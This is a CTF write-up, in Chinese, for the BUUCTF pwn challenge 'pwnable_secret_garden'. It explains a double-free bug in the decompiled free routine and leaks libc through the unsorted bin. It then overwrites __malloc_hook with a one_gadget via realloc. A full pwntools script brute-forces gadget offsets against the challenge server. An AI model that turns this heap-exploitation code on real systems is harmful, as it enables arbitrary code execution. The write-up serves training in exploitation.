[BUUCTF-pwn] pwnable_secret_garden

这个题本身没有难度,小难点在one_gadget+realloc偏移

堆题全保护就不用说了,漏洞在free时没有删指针

int m3free()
{
  int result; // eax
  _DWORD *v1; // rax
  unsigned int v2; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !unk_202024 )
    return puts("No flower in the garden");
  __printf_chk(1LL, "Which flower do you want to remove from the garden:");
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL )
  {
    *v1 = 0;                    //这里只清除了标记,不能show,但可以再次free
    free(*(void **)(qword_202040[v2] + 8LL));
    result = puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    result = 0;
  }
  return result;
}

步骤:

  1. 先建4个块0x28,0x80,0x68,0x68。因为有管理块,为了不影响unsort先free一个0x30到fastbins
  2. 释放0,1 。再建0x80这里新建的0x80与释放的0x80是一块,再释放1就会留下fp, show就能得到libc
  3. 两个0x68 释放2,3,2形成double free环
  4. 再建4次0x68分别写malloc_hook-0x23,a,a,one_gadget

这个题在buuoj上是libc-2.23 one_gadget有4个,如果用realloc调栈有0,2,4,6,8,10,13,16,20有很多,所在在程序里可以爆破,省得一个个试太麻烦。当然也可以跟进去看栈的情况再确定怎么调,不过一般用到one肯定会成功,暴力更直接。

from pwn import *

'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn
'''
local = 0

def connect():
    global p,libc_elf,one,libc_start_main_ret
    
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
        one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
        libc_start_main_ret = 0x20840
    else:
        p = remote('node4.buuoj.cn', 27319) 
        libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

menu = b"Your choice : "
def add(size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Length of the name :", str(size).encode())
    p.sendlineafter(b"The name of flower :", msg)
    p.sendlineafter(b"The color of the flower :", b'A')

def show():
    p.sendlineafter(menu, b'2')

def free(idx):
    p.sendlineafter(menu, b'3') 
    p.sendlineafter(b"Which flower do you want to remove from the garden:", str(idx).encode())

def clean():
    p.sendlineafter(menu, b'4')

def pwn(one_idx, one_offset):
    add(0x28, b'0')
    add(0x80, b'1')
    add(0x68, b'2')
    add(0x68, b'3')
    free(0)
    free(1)
    add(0x80, b'4')
    free(1)

    show()
    p.recvuntil(b'flower[4] :')
    malloc_hook = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x58 -0x10 
    libc_base   = malloc_hook - libc_elf.sym['__malloc_hook']
    one_gadget = libc_base + one[one_idx]
    realloc    = libc_base + libc_elf.sym['realloc']
    print('libc:', hex(libc_base))

    #context.log_level = 'debug'

    free(2)
    free(3)
    free(2)
    add(0x68, p64(malloc_hook -0x23))
    add(0x68, b'b')
    add(0x68, b'b')
    add(0x68, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc + one_offset))

    #gdb.attach(p)
    #pause()

    p.sendlineafter(menu, b'1')
    p.sendline('echo -n AAAA')
    if b'AAAA' not in p.recv():
        raise Exception('XXXX')
        
    p.sendline(b'cat /flag')
    
    p.interactive()
    
for i in range(4):
    for j in [0,2,4,6,8,10,13,16,20]:
        try:
            print(f'Try one[{i},realloc+{j}')
            connect()
            pwn(i,j)
        except:
            print('...')
            p.close()

试到2 ,+20才成功,够黑的,如果手工基本上放弃了。

上一篇:C语言—动态内存分配相关知识详解


下一篇:selenium + python自动化测试unittest框架学习(一)selenium原理及应用